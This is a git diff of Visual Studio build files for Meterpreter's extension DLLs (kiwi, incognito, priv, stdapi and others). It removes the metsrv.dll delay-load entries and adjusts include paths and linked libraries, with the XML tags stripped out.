gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_extapi.map @@ -253,7 +256,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_extapi.map diff --git a/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj b/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj index 1132ba6d..1a353114 100644 --- a/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj +++ b/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj @@ -106,7 +106,8 @@ backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_incognito.map @@ -155,7 +156,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_incognito.map @@ -207,7 +209,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_incognito.map @@ -259,7 +262,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_incognito.map diff --git a/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj b/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj index 109ad5f9..fc8ece26 100644 --- a/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj +++ b/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj @@ -129,7 +129,8 @@ version.lib;ncrypt.lib;fltlib.lib;cabinet.lib;userenv.lib;Winscard.lib;advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;msxml2.lib;netapi32.lib;ntdsapi.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;hid.lib;setupapi.lib;wldap32.lib;advapi32.hash.lib;ntdll.min.lib;msasn1.min.lib;netapi32.min.lib;winsta.lib;backcompat.lib;metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) $(OutDir)$(TargetName)$(TargetExt) ..\..\source\extensions\kiwi\mimikatz\lib\Win32;..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + false true .\Release\ext_server_kiwi.map @@ -180,7 +181,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" version.lib;ncrypt.lib;fltlib.lib;cabinet.lib;userenv.lib;Winscard.lib;advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;msxml2.lib;netapi32.lib;ntdsapi.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;hid.lib;setupapi.lib;wldap32.lib;advapi32.hash.lib;ntdll.min.lib;msasn1.min.lib;netapi32.min.lib;winsta.lib;backcompat.lib;metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) $(OutDir)$(TargetName)$(TargetExt) ..\..\source\extensions\kiwi\mimikatz\lib\Win32;..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + false true .\Release\ext_server_kiwi.map @@ -235,7 +237,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" version.lib;ncrypt.lib;fltlib.lib;cabinet.lib;userenv.lib;Winscard.lib;advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;msxml2.lib;netapi32.lib;ntdsapi.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;hid.lib;setupapi.lib;wldap32.lib;advapi32.hash.lib;ntdll.min.lib;msasn1.min.lib;netapi32.min.lib;winsta.lib;metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) $(OutDir)$(TargetName)$(TargetExt) ..\..\source\extensions\kiwi\mimikatz\lib\x64;..\metsrv\$(Configuration)\$(Platform);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + false true .\Release\ext_server_kiwi.map @@ -290,7 +293,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" version.lib;ncrypt.lib;fltlib.lib;cabinet.lib;userenv.lib;Winscard.lib;advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;msxml2.lib;netapi32.lib;ntdsapi.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;hid.lib;setupapi.lib;wldap32.lib;advapi32.hash.lib;ntdll.min.lib;msasn1.min.lib;netapi32.min.lib;winsta.lib;metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) $(OutDir)$(TargetName)$(TargetExt) ..\..\source\extensions\kiwi\mimikatz\lib\x64;..\metsrv\$(Configuration)\$(Platform);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + false true .\Release\ext_server_kiwi.map diff --git a/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj b/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj index 1e4aa018..1a7a111c 100644 --- a/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj +++ b/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj @@ -104,7 +104,8 @@ backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + false Windows false @@ -146,7 +147,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + false Windows false @@ -190,7 +192,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + false Windows @@ -239,7 +242,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + false Windows diff --git a/c/meterpreter/workspace/ext_server_mimikatz/ext_server_mimikatz.vcxproj b/c/meterpreter/workspace/ext_server_mimikatz/ext_server_mimikatz.vcxproj index 8c54a839..4e0ed55c 100644 --- a/c/meterpreter/workspace/ext_server_mimikatz/ext_server_mimikatz.vcxproj +++ b/c/meterpreter/workspace/ext_server_mimikatz/ext_server_mimikatz.vcxproj @@ -127,7 +127,8 @@ backcompat.lib;metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) $(OutDir)$(TargetName)$(TargetExt) ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + false true .\Release\ext_server_mimikatz.map @@ -176,7 +177,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" backcompat.lib;metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) $(OutDir)$(TargetName)$(TargetExt) ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + false true .\Release\ext_server_mimikatz.map @@ -229,7 +231,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) $(OutDir)$(TargetName)$(TargetExt) ..\metsrv\$(Configuration)\$(Platform);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + false true .\Release\ext_server_mimikatz.map @@ -282,7 +285,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) $(OutDir)$(TargetName)$(TargetExt) ..\metsrv\$(Configuration)\$(Platform);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + false true .\Release\ext_server_mimikatz.map diff --git a/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj b/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj index b25b2b86..17100419 100755 --- a/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj +++ b/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj @@ -106,7 +106,8 @@ ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_peinjector.map @@ -155,7 +156,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_peinjector.map @@ -204,7 +206,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_peinjector.map @@ -253,7 +256,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_peinjector.map diff --git a/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj b/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj index 0ae90316..3a720202 100644 --- a/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj +++ b/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj @@ -107,7 +107,8 @@ ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_powershell.map @@ -157,7 +158,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_powershell.map @@ -207,7 +209,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" mscoree.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_powershell.map @@ -257,7 +260,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" mscoree.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_powershell.map diff --git a/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj b/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj index faf0dd96..3c7474a5 100644 --- a/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj +++ b/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj @@ -97,7 +97,7 @@ MinSpace OnlyExplicitInline - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\priv\server;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\priv\server;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PRIV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true MultiThreaded @@ -124,7 +124,8 @@ backcompat.lib;psapi.lib;metsrv.lib;%(AdditionalDependencies) ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) true - metsrv.dll;%(DelayLoadDLLs) + + $(OutDir)\ext_server_priv.pdb false @@ -158,7 +159,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace OnlyExplicitInline - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\priv\server;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\priv\server;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PRIV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true MultiThreaded @@ -185,7 +186,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" backcompat.lib;psapi.lib;metsrv.lib;%(AdditionalDependencies) ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) true - metsrv.dll;%(DelayLoadDLLs) + + $(OutDir)\ext_server_priv.pdb false @@ -219,7 +221,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\priv\server;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\priv\server;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PRIV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true MultiThreaded @@ -245,7 +247,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" psapi.lib;metsrv.lib;%(AdditionalDependencies) true ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + $(OutDir)\ext_server_priv.pdb false @@ -279,7 +282,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\priv\server;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\priv\server;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PRIV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true MultiThreaded @@ -305,7 +308,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" psapi.lib;metsrv.lib;%(AdditionalDependencies) true ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + $(OutDir)\ext_server_priv.pdb false diff --git a/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj b/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj index 82909307..96e5e937 100755 --- a/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj +++ b/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj @@ -106,7 +106,8 @@ ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\libressl\output\$(PlatformToolset)\x86;%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_python.map @@ -158,7 +159,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\libressl\output\$(PlatformToolset)\x86;%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_python.map @@ -210,7 +212,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" crypto-46.lib;ssl-48.lib;tls-20.lib;gdiplus.lib;Netapi32.lib;crypt32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) ..\metsrv\$(Configuration)\$(Platform);..\..\deps\libressl\output\$(PlatformToolset)\x64;%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_python.map @@ -262,7 +265,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" crypto-46.lib;ssl-48.lib;tls-20.lib;gdiplus.lib;Netapi32.lib;crypt32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) ..\metsrv\$(Configuration)\$(Platform);..\..\deps\libressl\output\$(PlatformToolset)\x64;%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_python.map @@ -668,4 +672,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj b/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj index 15348835..7a488540 100644 --- a/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj +++ b/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj @@ -90,10 +90,11 @@ 0x0409 - backcompat.lib;pssdk_$(PssdkVersion)_mt.lib;ws2_32.lib;metsrv.lib;%(AdditionalDependencies) + backcompat.lib;pssdk_$(PssdkVersion)_mt.lib;ws2_32.lib;commonapi.lib;%(AdditionalDependencies) ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\..\..\..\pssdk\PSSDK_$(PssdkVersion)_LIB\_Libs;%(AdditionalLibraryDirectories) true - metsrv.dll;%(DelayLoadDLLs) + + $(OutDir)\ext_server_sniffer.pdb false @@ -150,10 +151,11 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" 0x0409 - pssdk_$(PssdkVersion)_mt.lib;ws2_32.lib;metsrv.lib;%(AdditionalDependencies) + pssdk_$(PssdkVersion)_mt.lib;ws2_32.lib;commonapi.lib;%(AdditionalDependencies) true ..\metsrv\$(Configuration)\$(Platform);..\..\..\..\..\pssdk\PSSDK_$(PssdkVersion)_LIB\_Libs64;%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + $(OutDir)\ext_server_sniffer.pdb false @@ -211,4 +213,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj b/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj index 22db6294..0d432e76 100644 --- a/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj +++ b/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj @@ -97,7 +97,7 @@ MinSpace OnlyExplicitInline - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\stdapi\server;..\..\source\jpeg-8;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\stdapi\server;..\..\source\jpeg-8;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_SYS_EXPORTS;_CRT_SECURE_NO_WARNINGS;CINTERFACE;COBJMACROS;%(PreprocessorDefinitions) true MultiThreaded @@ -123,7 +123,9 @@ psapi.lib;winmm.lib;backcompat.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;metsrv.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) true ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\lib;%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) + + true $(OutDir)\ext_server_stdapi.map false @@ -158,7 +160,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace OnlyExplicitInline - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\stdapi\server;..\..\source\jpeg-8;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\stdapi\server;..\..\source\jpeg-8;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_SYS_EXPORTS;_CRT_SECURE_NO_WARNINGS;CINTERFACE;COBJMACROS;%(PreprocessorDefinitions) true MultiThreaded @@ -184,7 +186,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" psapi.lib;winmm.lib;backcompat.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;metsrv.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) true ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\lib;%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + true $(OutDir)\ext_server_stdapi.map false @@ -219,7 +222,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\stdapi\server;..\..\source\jpeg-8;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\stdapi\server;..\..\source\jpeg-8;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_SYS_EXPORTS;_CRT_SECURE_NO_WARNINGS;CINTERFACE;COBJMACROS;%(PreprocessorDefinitions) true MultiThreaded @@ -244,7 +247,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;metsrv.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) true ..\..\lib;..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + true $(OutDir)\ext_server_stdapi.map false @@ -279,7 +283,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\stdapi\server;..\..\source\jpeg-8;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\stdapi\server;..\..\source\jpeg-8;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_SYS_EXPORTS;_CRT_SECURE_NO_WARNINGS;CINTERFACE;COBJMACROS;%(PreprocessorDefinitions) true MultiThreaded @@ -304,7 +308,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;metsrv.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) true ..\..\lib;..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + true $(OutDir)\ext_server_stdapi.map false @@ -428,4 +433,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj b/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj index 1c8fc553..e4295a13 100644 --- a/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj +++ b/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj @@ -105,7 +105,8 @@ ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_unhook.map @@ -154,7 +155,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_unhook.map @@ -203,7 +205,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_unhook.map @@ -251,7 +254,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_unhook.map diff --git a/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj b/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj index b8ff0995..6b3c1879 100644 --- a/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj +++ b/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj @@ -105,7 +105,8 @@ ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_winpmem.map @@ -153,7 +154,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_winpmem.map @@ -201,7 +203,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" 